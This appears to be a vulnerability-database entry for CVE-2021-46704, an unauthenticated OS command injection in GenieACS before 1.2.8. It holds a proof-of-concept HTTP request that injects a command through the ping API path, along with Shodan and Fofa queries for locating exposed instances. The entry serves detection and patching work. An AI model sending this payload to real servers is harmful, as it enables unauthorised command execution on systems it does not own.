🔙 목록으로 돌아가기

CVE-2021-46704: GenieACS => 1.2.8 - OS Command Injection

TitleGenieACS => 1.2.8 - OS Command Injection
AuthorDhiyaneshDK
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
RemediationUpgrade to a patched version of GenieACS or apply the necessary security patches to mitigate the vulnerability.
CVSS Score9.8
EPSS Score0.86931
CVE IDCVE-2021-46704
CWE IDCWE-78
Shodan Queryhttp.favicon.hash:-2098066288http.html:"genieacs"
Fofa Querybody="genieacs"icon_hash=-2098066288
Tags cve2021 cve genieacs rce vuln

🔍 Vulnerability Description

In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.

🌐 HTTP Request

GET /api/ping/;%60id%60 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/603.1.10 (KHTML, like Gecko) Version/10.1 Safari/603.1.10
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46704.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-46704.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A